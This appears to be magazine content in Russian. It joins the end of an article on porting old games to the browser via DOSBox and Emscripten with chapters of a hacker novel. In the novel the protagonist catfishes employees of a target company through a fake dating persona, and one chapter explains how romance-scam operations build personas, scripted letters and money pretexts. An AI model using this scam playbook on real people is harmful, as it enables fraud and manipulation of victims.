Поворотным моментом стал запуск Heroes of Might and Magic III в браузе‐
ре 20 декабря 2024 года. Новость разлетелась: Lenta.ru, Gazeta.ru, федераль‐
ные СМИ. Для  проекта, который существовал в  нише энтузиастов, это  был
прорыв. С тех пор крупные релизы стабильно попадают в новости — GTA Vice
City, например, за несколько часов после поста оказалась буквально во всех
игровых каналах.

КАК УСТРОЕНО ПОРТИРОВАНИЕ

На DOS.Zone используют два принципиально разных способа запуска игр.
 Большинство игр работают через DOSBox. Исходники самих

игр не  нужны  — эмулятор запускает оригинальные бинарники. Для  игр,
у  которых нет исходного кода, это  единственный вариант. Так работают
«Братья Пилоты», Master of Orion и сотни других тайтлов.

Эмуляция.

 Когда эмуляции не  хватает, игру собирают

из  исходников. Их берут из  open-source-проектов или  результатов деком‐
пиляции. Графический стек переписывают с DirectX на кросс‑платформенные
библиотеки вроде Sokol или BGFX, звук — на OpenAL или SDL Mixer, WinAPI —
на POSIX.

Нативные порты.

Если игра портирована на  Linux, она почти наверняка соберется
под  WebAssembly. Emscripten строился как  POSIX-совместимый компилятор,
поэтому линуксовые проекты на  C++ портируются практически без  правок.
macOS — тоже, внутри ведь тот же POSIX. А вот проекты для Windows сначала
приходится тащить на Linux, переписывая WinAPI на открытые аналоги, и уже
потом собирать через Emscripten.

Что ломается при портировании
 Классический DOSBox  — это  один большой 

. Браузер такого не  терпит: вкладка зависнет или  рухнет. Игровую

логику нужно разбивать на конечные кванты — отдельные итерации, возвра‐
щающие управление браузеру. Если игра уже так устроена (как «Вангеры»,
где вся логика разделена на  звуковой квант, квант ИИ, квант физики)  —
повезло. Бета‑версия «Вангеров» в браузере заработала за две недели, при‐
чем без единой ошибки.

Бесконечные циклы. while(
true)

Так выглядит нативный порт «Вангеров»

Если не повезло (как OpenDune, где бесконечные циклы вложены друг в дру‐
га, а внутренний ждет ввода с клавиатуры, который никогда не придет, потому
что браузер заблокирован)  — придется либо переписывать, либо исполь‐
зовать . Это  инструмент Emscripten, который автоматически тран‐

сформирует синхронный код в  асинхронный, разрывая бесконечные циклы.
Но asyncify стоит ресурсов: код работает медленнее.

asyncify

 DirectX  — закрытый API Microsoft, автоматической трансляции

в  WebGL не  существует. Весь графический стек приходится переписывать.
При  портировании «Периметра» (стратегия K-D Lab с  тенями, отражениями
и терраформингом) переписали с DirectX на WebGL. Ирония в том, что бра‐
узер через Google ANGLE транслирует WebGL обратно в  DirectX. Круг зам‐
кнулся, но иначе никак.

Графика.

Для старых DOS-игр есть своя боль — 3dfx. В девяностые компания 3dfx
Interactive создала ускорители Voodoo и  собственный API . В  DOSBox

без  внешних библиотек  3dfx работает в  режиме эмуляции на  CPU. Можно
подключить OpenGlide или аналог — подключаемую .so-библиотеку, которая
транслирует Glide-вызовы в OpenGL.

Glide

Но OpenGlide работает на  уровне нативной библиотеки и  в браузере
никогда не запускался. Поэтому в браузере 3dfx оставался в режиме чистой
CPU-эмуляции  — непозволительно медленно. Александр Гурьянов 

 эту часть, переведя трансляцию Glide-вызовов на GPU: Glide → DOSBox
→ OpenGL → WebGL. Теперь игры для 3dfx работают в браузере с аппарат‐
ным ускорением.

перепи‐
сал

Эмуляция Glide в DOSBox-X

 Это, пожалуй, самая болезненная тема. В  браузере

потоки — это Web Workers, и каждый из них несет полную копию программы.
24 потока = 24 копии. Обмен сообщениями между ними крайне медленный,
количество ограничено  — в  Firefox около  30, в  Chrome при  превышении
вкладка просто крашится. Нативные программы спокойно создают сотни
потоков.

Многопоточность.

Основной поток нельзя блокировать. А  нативные игры делают это  пос‐
тоянно. При  портировании третьих «Героев» (движок VCMI) это  привело
к цепочке дедлоков: клиент и сервер жили в одном потоке и блокировали друг
друга мьютексами. К  счастью, в  VCMI использовали библиотеку Thread
Building Blocks, и ее удалось заменить кастомной реализацией: на основном
потоке все выполняется синхронно, параллелизм — только в воркерах и мак‐
симум в четыре потока.

Для многопоточности в браузере нужен контекст Cross-Origin Isolation, и он
убивает коммерческую составляющую: страница не  может грузить ресурсы
с  серверов без  этого контекста, а  значит, прощай авторизация, аналитика
и монетизация. Показательный пример: в Godot 4 сделали ставку на многопо‐
точность, но  пользователи массово жаловались, что не  могут выкладывать
игры на порталы типа itch.io. В версии 4.3 от обязательной многопоточности
отказались.

 Стандарт , описывающий

бинарное представление чисел с  плавающей точкой, не  гарантирует оди‐
наковый результат на  разных платформах. При  первом порте первой Diablo
вместо картинки на экране был мусор — из‑за различий в обработке double
между WebAssembly и  нативным C++. Решилось изменением флага ком‐
пиляции.

Арифметика с плавающей точкой. IEEE 754

Так выглядит небольшая ошибка в вычислениях

В сетевых играх это  еще опаснее. На  одном клиенте турель сортирует цели
как  1-2-3, на  другом тот же алгоритм выдает  1-3-2. Ситуация стремительно
расходится. Спасает то, что WebAssembly гарантирует детерминизм вычис‐
лений, — если все клиенты на WASM, проблемы нет.

 Еще  одна неочевидная ловушка  — сжатие данных

внутри самой игры. Во  многих старых играх ресурсы упакованы своими
средствами, реализующими, например, алгоритм Хаффмана. На  нативной
платформе это было незаметно, но в браузере распаковка идет в основном
потоке через WebAssembly и блокирует интерфейс. В «Вангерах», например,
мир запечен в  один файл размером  60  Мбайт, сжатый до  22  Мбайт.
Решение — хранить файлы несжатыми и включить Brotli на сервере: браузер
распакует их своим нативным кодом, прямо во  время скачивания, без  бло‐
кировок и без промежуточной памяти.

Сжатие контента.

Как отлаживать
Брейк‑пойнты в  WebAssembly  — штука капризная. Александр рассказал, что
никогда ими не  пользовался: эта функция у  него просто не  работала.
Основной способ отладки —  и бесконечные перезапуски. По его сло‐

вам, рабочий цикл разработки таков: «Пишешь и тестируешь под Linux. Нашел
баг в  браузере  — пытаешься воспроизвести на  Linux. Если не  воспроизво‐
дится — добавляешь логирование, пересобираешь и смотришь вывод в кон‐
соли DevTools».

printf

ЛЕГАЛЬНОСТЬ

Это очевидный слон в комнате. За все время существования DOS.Zone приш‐
ло  от  правообладателей, и  игры сразу удалили. Официальная
позиция проста: проект против пиратства, контент снимается по первому зап‐
росу.

два письма

Для подстраховки предусмотрен механизм «загрузи файл сам». Плат‐
форма дает плеер, а  ресурсы игры пользователь приносит со  своей копии.
Именно так устроен запуск третьих «Героев»  — правообладатель Ubisoft
ничего не разрешал, поэтому пользователь загружает файлы вручную.

ЭКОНОМИКА НА ЭНТУЗИАЗМЕ

Денег проект практически никаких не приносит. Основная статья расходов —
CDN. Один гигабайт трафика обходится примерно в  рубль, и  в среднем
набегает около 30 тысяч рублей в месяц. Это без учета тяжелых тайтлов: GTA
Vice City в  день публикации за  сутки сожгла  12  тысяч на  одном только тра‐
фике.

Доходы  — платная подписка на  облачные сохранения, донаты и  грант
«Яндекса» в  600  тысяч рублей, полученный в  феврале  2024  года. Проект
выходит примерно в ноль. Но нагрузки растут, и без новых грантов придется
либо искать финансирование, либо убирать из каталога самые тяжелые игры.

ПЛАНЫ НА БУДУЩЕЕ

Главная техническая цель — DOSBox с JIT-компиляцией в WebAssembly. Сей‐
час эмулятор выполняет по  одной инструкции за  раз. Существует режим
динамической рекомпиляции, который значительно быстрее, но он собирает
код под x86 и не работает в WASM. Производительность ограничена настоль‐
ко, что даже третьи «Герои» могут тормозить. JIT в  WASM должен это  изме‐
нить.

У разработчиков DOS.Zone в планах мультиплеерный хаб. Сетевой режим
для HoMM III и Counter-Strike в браузере запланирован на текущий год.

А на  вопрос «бывают ли игры, которые невозможно портировать?» Алек‐
сандр ответил просто: «Вопрос только во  времени. Такого, чтобы это  было
невозможно, я еще не встречал». © X

https://t.me/grogrigs
https://github.com/caiiiycuk
https://pikabu.ru/@Carter54
https://dos.zone/team/
https://www.openttd.org/
https://emscripten.org/
https://hacks.mozilla.org/2011/06/doom-on-the-web/
https://www.gamepix.com/play/cut-the-rope-2
https://www.gamepix.com/play/cut-the-rope-2
https://archive.org/
https://github.com/dreamlayers/em-dosbox
https://v8.js-dos.com/studio/
https://x8bitrain.github.io/webXash/
https://wasm.continuation-labs.com/d3demo/
https://martinmullins.github.io/ssam/
https://t.me/gamebase54
https://habr.com/ru/articles/924068/
https://habr.com/ru/articles/924068/
https://ru.wikipedia.org/wiki/IEEE_754
https://dos.zone/dmca/
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Когда распахнулась входная дверь, Кирилл ожидал увидеть
на пороге ранних посетителей, но вместо них в помещение
вбежал Ваня Зарубин. Кроме Кирилла, в  клубе еще  никого
не было, и Ваня, заглянув в пустой зал, бесцеремонно усел‐
ся прямо на стойку, болтая ногами.

— А че, Серёги еще нет? — спросил подросток. — Вроде бы он собирался
с утра прийти.

— Пока не было, — флегматично откликнулся Кирилл. — Может, отсыпает‐
ся, у него сегодня выходной.

— Он правда, что ли, свалить решил?  — в  голосе Вани чувствовалось
любопытство, как  у человека, который уловил слух и  теперь проверяет, нас‐
колько он соответствует действительности.

Кирилл пожал плечами, не отрываясь от экрана ноутбука.
— Намекал на что‑то такое. Можешь сам у него спросить, когда появится.

А ты с чего это взял‑то?
Иван фыркнул:
— Да слышал вчера, как Серый с мамой по телефону разговаривает. Мол,

она была права насчет того, что пора уже найти нормальную работу да бро‐
сить этот клуб, который, кроме проблем, ничего не приносит. Она ему вроде
как даже теплое местечко где‑то подыскала, так что дело, по ходу, решенное.

Вот оно как. Что ж, всё усложняется еще больше. Если Сергей только раз‐
мышляет о перспективах сменить род деятельности — это одно, но вот если
он уже определился с новым местом работы, картина выглядит совсем иначе.

— Да  ладно, че ты скис,  — пихнул Кирилла кулаком в  плечо Зарубин,  —
пусть валит на  хрен, без  него обойдемся. Он вообще лох педальный,
без мамочки даже в сортир сходить боится…

— Зато она у меня как минимум есть, — раздался голос Сергея, который,
как оказалось, тихонько открыл дверь и прекрасно слышал последнюю фразу
Ивана.

— Че сказал? — вздыбился тот.

Парень спрыгнул со стойки и встал напротив Серёги, чуть наклонившись впе‐
ред и сжав кулаки так, что побелели костяшки пальцев.

— Чё слышал, — Сергей тоже весь подобрался, аж очки запотели, хотя его
сутулая фигура в  столь воинственной позе выглядела со  стороны скорее
комично, чем угрожающе.

Повисла пауза, плотная и  неприятная. Кирилл закрыл крышку ноутбука
и громко хлопнул ладонью по столешнице, рявкнув не своим голосом:

— А ну тихо! Ваня, остынь.
— Да я спокоен, — огрызнулся тот. — Просто интересно, какого хрена он

тут…
— Хватит,  — перебил Кирилл жестче и  тише.  — Ты первый начал. Тебе

никогда не  говорили, что обсуждать других за  спиной  — западло? Хочешь
что‑то сказать — говори в лицо. Я бы на твоем месте извинился.

Иван с  минуту рассерженно сопел, его ноздри раздувались, точно
у боевого коня перед атакой. Затем он отступил на шаг и произнес уже спо‐
койнее, но по‑прежнему зло и сквозь зубы:

— Извини.
Серёга опустил взгляд, напряжение в плечах чуть спало.
— Ты это, тоже извини. Не нужно было касаться темы…
— Так, всё, проехали, — прервал его Кирилл, чтобы не развивать дальше

этот скользкий диалог.
Иван хмыкнул, демонстративно зевнул и схватил куртку.
— Разбирайтесь тут без  меня, пацаны,  — буркнул он.  — А  то я

еще  кого‑нибудь случайно обижу. Много тут в  последнее время обиженных
развелось…

Дверь хлопнула громче, чем нужно, и  в клубе снова стало тихо. Сергей
неловко переминался с  ноги на  ногу, не  зная, куда деть руки, и  вдруг снова
сделался похож на себя обычного.

— Блин, — выдавил он наконец. — Я правда не хотел, чтобы так вышло.
— Забей, — отозвался Кирилл. — Ты вроде собирался о чем‑то со мной

поговорить?
— Ну да, затем и пришел…
Слова явно давались ему с  трудом, и  он подбирал их осторожно, будто

ступая по минному полю:
  — Я тут подумал… Ну, короче, наверное будет лучше, если дальше ты

сам… Вы сами… В том смысле, что у тебя неплохо получается, а я не особо
к таким делам приспособлен. Ну и мама давно говорила, что мне нормальную
работу надо, а  я тут время понапрасну теряю. Она в  одном банке догово‐
рилась, у нее там знакомые работают, меня возьмут. Пока на испытательный
срок, но деньги обещают хорошие…

— Банк  — это  серьезно,  — одобрительно кивнул Киря,  — надежный
финансовый фундамент, грамотная инвестиция в  будущее и  все такое про‐
чее.

— Вот и  мама так считает,  — обрадовано затараторил Сергей.  — Ты
не переживай, я тут все оставлю, ничего забирать не буду. И телики, и компы,
и  мебель. Договор аренды на  тебя переоформим, если хочешь, я с  тобой
вместе к Тамаре схожу. Только тебе надо будет предпринимателем зарегис‐
трироваться, чтобы все официально…

— Серег, а  вот скажи мне, ты на  собеседование в  этот банк ходил уже?
Тебя там спрашивали, кем ты себя видишь через пять лет?  — вкрадчиво
поинтересовался Кирилл.

— Ну, спрашивали…  — немного растерянно подтвердил Серёга.  — А  ты
откуда знаешь?

— И что ты им ответил?
— Так это…
Сергей задумчиво потер переносицу.
— Ну, я сказал, что планирую работать, заниматься починкой оборудо‐

вания, сеть поддерживать в работоспособном состоянии…
— Погоди, через пять лет тебе ведь стукнет двадцать шесть, верно? И ты

собираешься по‑прежнему менять картриджи в  принтерах и  вытаскивать
оттуда застрявшую бумагу? Бегать по этажам, когда очередная бухгалтерша
потеряет кнопку «Пуск» на экране, выгребать пыль из системников и ползать
под  столами с  сетевым кабелем в  зубах? Ну, то есть заниматься примерно
тем же, что делаешь сейчас, только за  более вменяемые деньги, оплачива‐
емый больничный и  гарантированный отпуск? Хотя ползать под  столами
в  банке всяко приятнее, чем в  клубе. Там, небось, девчонки с  длинными
ногами работают. Если повезет, можно даже трусы разглядеть… А как насчет
перспектив? Карьерного роста? Да просто профессионального развития?

— Ну, об этом я как‑то не думал, — смутился Сергей. — Так ведь и здесь
тоже никакого роста нет. Да и перспектив не особо…

— А вот тут я не согласен, — покачал головой Кирилл, — потому что, когда
ты занимаешься своим делом, перспективы зависят только от  тебя самого.
Не от мамы, не от начальника в банке, а лично от тебя. И если через пять лет
ты по‑прежнему будешь собирать штанами пыль, протягивая по офису витую
пару, то винить в  этом, кроме себя, будет некого. Я, Серёг, на  самом деле
в другом вопросе не прав.

— Это в каком же?
Кирилл вздохнул.
— Это ведь твой клуб. Не мой.
Серёга удивленно поднял глаза.
— В смысле?
— В прямом. Я влез, начал рулить, предлагать идеи, считать себя самым

умным. А ты молчал. Мне‑то так проще, только вот сейчас это вылезло боком.
Сергей криво усмехнулся.
— Ну, ты всегда так уверенно говорил… Я думал, ты точно знаешь, как пра‐

вильно.
— Серьезно? Да  я и  сейчас ни  хрена не  знаю, как  правильно,  — честно

признался Кирилл.  — Но  знаю одно: если ты правда думаешь уходить, то я
хочу понять  — почему. Услышать не  эту твою историю про  зарплату и  боль‐
ничный, а настоящую.

Серёга долго молчал. Потом тяжело выдохнул и  сел на  край стола, туда,
где пару минут назад болтал ногами Зарубин.

— Я устал, Кирюх. Устал все время думать, что я делаю какую‑то глупость,
оправдываться перед  матерью и  перед самим собой. Мама твердит, что я
гублю свою жизнь. Влад… ну ты сам знаешь. Когда мы с ним все это затеяли,
я думал, клуб — это мое. А выходит, я тут просто вместо мебели. Серёга, при‐
неси, Серёга, почини, спасибо, свободен. Надоело мне всё это, честное сло‐
во.

Слова резанули сильнее, чем Кирилл ожидал.
— Это не так, — сказал он после паузы. — Но если ты и вправду себя чувс‐

твуешь подобным образом, значит, это я где‑то конкретно облажался.
Он поднялся на ноги, обошел стойку и, сев рядом с Сергеем, протянул ему

несколько листов бумаги с отпечатанными на принтере столбцами текста.
— Что это?
— Проект устава общества с ограниченной ответственностью. Моральной,

блин, и  уголовной. Ты там соучредитель, с  равными правами и  с равной
ответственностью. Не  «принеси‑подай», а  человек, который принимает
решения, но готов отвечать за их последствия. Я не хочу больше делать вид,
что это мой личный стартап с бесплатным техническим персоналом.

Сергей медленно взял листы, будто боялся, что они обожгут ему пальцы.
Пробежал глазами первые строки, потом еще раз, внимательнее.

— Ты не  торопись, возьми домой, подумай, добавь что‑нибудь нужное
или вычеркни лишнее. Завтра закроем клуб пораньше, сядем и еще раз нор‐
мально поговорим. Ты расскажешь, чего ты хочешь, насколько ты готов в это
вкладываться своим временем и  силами и  на каких условиях. Без  «я пред‐
ложил  — ты согласился». Если потом ты все равно решишь уйти, я не  буду
тебя держать.

— А бухгалтерия? — сразу же перешел на деловой тон Сергей. — Тут же
надо учет вести, это денег стоит…

— Вот и  обсудим,  — улыбнулся Кирилл,  — ты же соучредитель. Тебе
и решать, как все организовать правильно.

Серёга посмотрел на него внимательно, словно видел впервые.
— А если я захочу, чтобы ты меньше командовал?
Кирилл усмехнулся:
— Тогда мне придется учиться затыкаться. Тоже полезный навык, в жизни

наверняка пригодится.
Сергей хмыкнул — коротко, почти смущенно. Поднялся на ноги, протянул

Кириллу руку.
— Ладно, я подумаю.
Кирилл ответил на рукопожатие.
— И это, — обернулся в дверях Сергей, — ты и Маша, ну, того… Вместе?
— Да, — глядя ему в глаза, ответил Киря, — так вышло, и это не обсужда‐

ется.
— Ясно, — вздохнул Серёга и осторожно прикрыл за собой дверь.
«Если он останется, — подумал Кирилл, — у меня определенно появится

заклятый враг в лице Серёжиной мамы, да и работать в этом любовном тре‐
угольнике будет ой как  непросто». Но  прямо сейчас подобная перспектива
не  казалась ему чересчур ужасной. К  тому же не  верилось, что Сергей
поменяет свои планы, ведь он уже все для себя решил.

Мошенничество в сфере знакомств давно превратилось в отдельную индус‐
трию  — со  своими технологиями, проверенными сценариями и  узкой спе‐
циализацией исполнителей. Самый ходовой прием выглядел просто и потому
работал безотказно: с  потенциальной жертвой заводило переписку юное
и  симпатичное создание противоположного пола, быстро находило нужные
интонации, втиралось в  доверие, а  затем начинало неторопливо и  обсто‐
ятельно рассказывать о своей жизни — как правило, небогатой и не слишком
счастливой. Небольшой провинциальный город, творческая профессия, веч‐
ная нехватка денег, но при этом тонкий налет романтики, богатый внутренний
мир и искренний интерес к собеседнику.

Для убедительности жулики заранее готовили подходящую цифровую
декорацию: страницу в  «Живом журнале», личный блог или  даже отдельный
сайт с  несколькими тщательно подобранными фотографиями. В  письмах
всплывали забавные рабочие истории, бытовые мелочи, жалобы на  началь‐
ство и  туманные мечты о  переезде. Иногда между делом упоминалось, что
раньше у героини уже был неудачный опыт общения в сети — мужчина якобы
оказался женатым пенсионером с  кучей детей, после чего доверие
к интернет‑знакомствам заметно пошатнулось. По этой же причине собесед‐
ница избегала звонков и  видеосвязи, предпочитая сначала узнать человека
получше в почтовой переписке или в мессенджерах, не торопясь и без лиш‐
ней откровенности.

Когда общение набирало обороты, в  ход шли дополнительные крючки.
Например, мошенники выясняли почтовый адрес жертвы и  отправляли
небольшой, но трогательный подарок — открытку, фотографию с нарисован‐
ным помадой сердечком или безделушку с «глубоким личным смыслом». Пос‐
ле таких жестов отказать в  какой‑нибудь незначительной просьбе станови‐
лось неловко. И  тут в  жизни виртуальной возлюбленной внезапно происхо‐
дила катастрофа: разбивался дорогой фотоаппарат злого начальника,
выходил из строя ноутбук, трескался графический планшет, без которого она
не  могла работать и  зарабатывать. Или  врачи находили тяжелую болезнь
у любимого хомячка, и ему срочно требовалось дорогостоящее лечение.

Дальнейшее зависело от фантазии и наглости исполнителей. Чаще всего
они просто просили выслать немного денег. Иногда жертву аккуратно под‐
водили к мысли купить и прислать аналогичное устройство — кто же откажет‐
ся выручить скромную и  очаровательную девушку в  трудной ситуации?
Полученную технику, разумеется, тут же перепродавали. В  других случаях
влюбленного отправляли на  поддельный сайт интернет‑магазина, где якобы
можно было приобрести нужную вещь по выгодной цене. Итог был один и тот
же: банковская карта опустошалась подчистую, а  деньги растворялись
в цепочке анонимных счетов и дропов.

Иногда схемы работали настолько эффективно, что отдельных жертв уда‐
валось «доить» месяцами и  даже годами, а  при достаточном количестве
параллельных переписок мошенникам вполне хватало на  безбедную жизнь.
Бывали и более грубые, но не менее результативные варианты, когда жулики
действовали в связке с обычными бандитами: узнавали домашний адрес оди‐
нокой женщины, например отправив ей курьером букет цветов, а потом пред‐
лагали встретиться лично и даже сами покупали билет на поезд. Пока жертва
тряслась в плацкарте, предаваясь мечтам о романтическом свидании с мус‐
кулистым мачо, из ее пустой квартиры спокойно выносили все ценное.

Как‑то так сложилось, что репутацию самых изощренных дейтинг‑ска‐
меров в сети со временем заработали уроженцы бедных африканских стран
и за компанию с ними русскоязычные дон‑жуаны — и тем и другим в мошен‐
ничестве на доверии попросту не было равных. А жертвами чаще всего ста‐
новились богатые европейцы и  американцы, искренне верящие, что нас‐
тоящая любовь вполне может начаться с электронного письма.

За кулисами всей этой романтики понемногу вырос вполне осязаемый
подпольный бизнес, охвативший рынок услуг и  расходных материалов.
На  хакерских форумах особым спросом пользовались комплекты «живых»
фотографий  — нестудийных, без  водяных знаков и  не распространявшихся
ранее в сети. На снимках, как правило, была изображена симпатичная, но не
слишком броская девушка, чье лицо еще  не успело примелькаться в  поис‐
ковиках. Полтораста фотографий и несколько коротких видеороликов стоили
от  нескольких десятков до  пары сотен долларов  — в  зависимости от  качес‐
тва, числа образов и степени эксклюзивности.

Для более взыскательных клиентов существовал расширенный вариант —
так называемая девушка с поддержкой. В этом случае реальная модель вре‐
мя от времени присылала новые фотографии или записывала короткие видео
с требуемым текстом, в заранее оговоренном антураже или с нужным пред‐
метом в руках. Такие подтверждения, что персонаж — живой человек, резко
повышали доверие и  позволяли тянуть переписку гораздо дольше, не  опа‐
саясь разоблачения.

Но одних картинок было мало. Не менее важным элементом схемы считал‐
ся текст — и здесь без сторонних исполнителей мошенники обходились ред‐
ко. Скамеры вовсю пользовались услугами профессиональных переводчиков
и  копирайтеров: именно они превращали набор фотографий в  почти нас‐
тоящего человека с  характером, собственным прошлым и  привычками.
Для каждого образа заранее разрабатывалась подробная биография — имя,
возраст, город, история семьи, профессия, увлечения, вкусы, страхи
и маленькие слабости. От копирайтеров требовали, чтобы персонаж был про‐
думан до  мелочей и  жулики не  путались в  показаниях даже через месяцы
переписки.

Обычно исполнителям заказывали два‑три десятка писем, выстроенных
в  виде сквозного сюжета, где объем и  эмоциональная насыщенность пос‐
тепенно нарастали. Вначале  — короткие, осторожные сообщения, затем
более развернутые, доверительные, с  намеками на  чувства и  планы
на  будущее. Оплата за  такую работу выглядела скромно: несколько сотен
рублей за  письмо, иногда больше, если требовалось знание иностранного
языка и культурных нюансов. В итоге вся эта индустрия напоминала отлажен‐
ный конвейер, где чувства имитировались по техническому заданию, доверие
измерялось в  сообщениях, а  любовь существовала ровно до  тех пор, пока
с другой стороны экрана продолжали исправно переводить деньги.

Впрочем, Кирилл изначально играл совсем в  другую игру. Выманивать
деньги у жаждущих познакомиться сотрудников TerraCore он не собирался —
втереться к  ним в  доверие он хотел совершенно с  иными целями, причем
сделать это  требовалось аккуратно и  надолго, не  торопясь и  не оставляя
ощущения подвоха. Не  сыграть роль роковой красавицы и  исчезнуть после
первого денежного перевода, а  стать частью повседневного фона  — тем
самым собеседником, которому можно довериться.

Кирилл не  спешил. Маша отлично справилась со  своей задачей: фотог‐
рафии девушки с обворожительной улыбкой на чуть смуглом лице получились
очень живыми и  сексуальными. Кирилл зарегистрировал аккаунт на  том же
сайте знакомств, где обитали парни из  «Терры», указав в  качестве страны
происхождения Бразилию — этот выбор будет отличным объяснением огре‐
хов в знании английского языка. Тщательно заполнил профиль и только потом
написал обоим кандидатам, которых приметил накануне. Один ответил прак‐
тически сразу, несмотря на то что в Штатах сейчас стояла глубокая ночь, дру‐
гой откликнулся примерно через шесть часов. На подготовку и отправку пер‐
вых писем ушел практически весь день, который Кирилл провел в  обнимку
со  своим ноутбуком в  клубе. Он и  не заметил, как  наступил поздний вечер.
Последние посетители уже собирались домой, и, выпустив их на улицу, в клуб
ввалился Серёга.

— Привет, — сказал он и прямо с порога протянул Кириллу толстую пачку
распечаток, над которыми, судя по всему, трудился с момента их последней
встречи.

Кирилл пробежал текст глазами. Сергей поработал на славу: это был поч‐
ти готовый черновик бизнес‑плана, который превращал их компьютерный
клуб в  небольшую, но  вполне настоящую IT-компанию. Малоприбыльный
игровой бизнес в  планах Серёги отходил на  второй план, а  на первый выс‐
тупали разработка сайтов и технический консалтинг.

— Что скажешь?  — спросил Сергей, внимательно наблюдая за  его
выражением лица.

Кирилл ответил не сразу. Дочитал до конца, аккуратно собрал распечатки
и  положил их перед  собой. План показался ему неожиданно вменяемым.
Написан он был со свойственным Серёге занудством, но без розовых очков,
без  обещаний «выйти в  плюс за  месяц» и  прочей ерунды, которую обычно
лепят люди, никогда не считавшие расходы.

— Скажу, что ты молодец,  — наконец произнес он.  — Выглядит впечат‐
ляюще. Критика принимается?

Серёга с настороженным видом облокотился на стойку.
— Валяй.
— С веб‑дизайном ты все грамотно описал, да и заказы у нас сейчас есть.

Но тут имеется один важный нюанс: конкуренция на рынке слишком высокая.
Сайты теперь лепят все кому не  лень, за  каждого клиента драка идет, да  и
иностранцы у нас заказывают их только потому, что мы откровенно демпингу‐
ем. Отвалится этот американец, и сразу без денег останемся. Нужно искать
менее забитые ниши.

— А что, есть какие‑нибудь идеи?
Кирилл помолчал, подбирая слова.
— Да хрен его знает, Серёг… Ну вот смотри: если исходить из того, что мы

умеем делать, то я немного во взломе и защите от него разбираюсь, Ванька
тоже быстро соображает, хватает все на лету. А главное — этому почти никто
толком не  учит, и  нормальных исполнителей, в  смысле, хакеров, на  рынке
мало…

— Ты сейчас про  что вообще?  — прищурился Серёга.  — Я в  криминал
лезть не собираюсь, не хватало еще за решетку угодить.

— Я не про криминал, а про проверку на прочность, — пояснил Кирилл. —
Помнишь, я Ване про белые и черные шляпы рассказывал? Ну вот представь,
что к  тебе приходит клиент и  говорит: «У меня серьезный сайт, база, внут‐
ренняя сеть. Я не  хочу, чтобы их взломали». Можно сколько угодно ставить
защитные программы и антивирусы, но пока кто‑то чужой не попробует про‐
лезть внутрь, ты не узнаешь, где у тебя дыра. Вот мы и будем теми, кто про‐
бует. Строго в  рамках закона, по  контракту и  с разрешения заказчика. Мы
не крадем данные и не гадим из вредности, а показываем, как это может сде‐
лать кто‑нибудь менее дружелюбный. Нашли слабое место  — объяснили,
как его закрыть. Не нашли — значит, клиенту есть чем гордиться.

Серёга задумался, глядя куда‑то в сторону.
— И за это платят?
— Платят,  — кивнул Кирилл.  — Потому что простой сайт можно восста‐

новить из бэкапа, а вот утекшую базу клиентов или сорванный контракт — уже
нет.

— Звучит как‑то мутно, — недоверчиво протянул Серёга, — но интересно.
Ладно, ты в  этом, положим, разбираешься получше меня и  можешь научить
Ивана. А я‑то что буду делать? Или Машка?

— Да всем занятие найдется, — ответил Кирилл и приподнял стопку при‐
несенных Сергеем листков. — У тебя вот, например, писать отлично получа‐
ется, а в таких проектах взлом — это примерно треть работы. Остальные две
трети  — составление подробных и  довольно скучных отчетов. Я некоторое
время работал в такой конторе аквариумной рыбкой, так что в курсе… Маша
вообще дизайнер, для нее всегда будут задачи. Главное — понять: ты с нами
или все‑таки собрался в банке провода крутить?

— С вами, — чуть помедлив, вздохнул Сергей. — Хотя, может, и пожалею
об этом. А как клиентов‑то на такие вот заказы будем искать?

— Это  самое сложное,  — задумчиво отозвался Кирилл, потому что
однозначного ответа на этот вопрос у него на самом деле не было. — Если
мы придем к потенциальному клиенту с улицы, никто с нами контракт не под‐
пишет. Вот если  бы удалось где‑то раздобыть первый заказ, успешно его
выполнить и заработать репутацию, тогда проблема, считай, решена. Но где
этот заказ взять, Серый, я пока, хоть убей, не знаю… © X
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Каждое утро Кирилла теперь начиналось одинаково: он нас‐
пех завтракал, бежал в гаражный кооператив, заводил «мос‐
квич» и  час‑другой катался меж  ровными рядами стальных
коробок, оттачивая свои навыки. Иногда устанавливал
на  асфальте наполненные водой литровые бутылки из‑под
колы и  тренировал «змейку», «воротики» или  парковку зад‐
ним ходом  — для  этого отыскался очень подходящий
тупичок. Пару раз, переусердствовав, он все‑таки слегка
приложил «москвича» о  чей‑то ржавый гараж, но  с каждым
днем грубых ошибок становилось все меньше.

На занятиях с инструктором, удивленно отметившим стремительный рост
его водительского мастерства, Кирилл осваивал развороты на городских ули‐
цах и  проезд перекрестков. Денег он ему все‑таки заплатил, но  немного
и  только лишь за  то, чтобы инструктор провез его по  любимым гаишниками
экзаменационным маршрутам, а  заодно показал все притаившиеся в  кустах
дорожные знаки и  полустертую разметку, на  которых инспекторы и  ловят
неопытных экзаменующихся.

Ремонт в  квартире был почти закончен, отчего жилище приобрело наконец
уютный и обитаемый вид. На радостях Кирилл выбросил в мусорный бак свой
надувной матрас и  купил нормальный раскладной диван, который они
с Машей тут же испытали на прочность. Адиль тоже пока не давал ни малей‐
ших поводов для  жалоб  — раз в  неделю он скидывал новый заказ на  один
или  два простеньких сайта, а  гонорары присылал вовремя и  в полном объ‐
еме. Благодаря этому новоиспеченная фирма худо‑бедно сводила концы
с концами, а у Кирилла появилось время разобраться с захваченным им бот‐
нетом и  двумя парнями из  TerraCore, с  которыми он затеял романтическую
переписку от лица юной бразильянки.

В очередной раз включив ноутбук, Кирилл вдруг подумал, что общение
с  потенциальной жертвой в  интернете развивается по  тем же законам, что
и хороший взлом: сначала прощупываешь поверхность, потом находишь уяз‐
вимость, а  дальше становится ясно, куда нажимать. Арчи писал короткими
фразами, словно экономил слова. Иногда пропадал на пару дней, потом воз‐
вращался, жалуясь на  рутину и  слишком плотный рабочий график. Кирилл
отвечал мягко, позволяя паузам работать за него. Созданная силой его фан‐
тазии девушка по имени Камилла не флиртовала — она слушала, и это, как ни
странно, действовало сильнее любых комплиментов.

Джеймс был другим: его сообщения приходили чаще, словно он писал
на  ходу, в  перерывах между совещаниями и  кофе‑брейками. Этот парень
тоже рассказывал о  работе, и  в его словах чувствовалась внутренняя гор‐
дость  — не  за компанию, а  за то, что он участвует в  достаточно сложном
и  интересном проекте. Кирилл представил своего персонажа аналитиком,
сообщив, что девушка трудится в страховом бизнесе и немного разбирается
в  IT, поэтому у  них отыскались общие темы для  бесед: Джеймс даже утвер‐
ждал, что Камилла вполне могла  бы найти себе неплохую работу в  Штатах.
При этом он оказался весьма недоверчивым типом: прежде чем расслабить‐
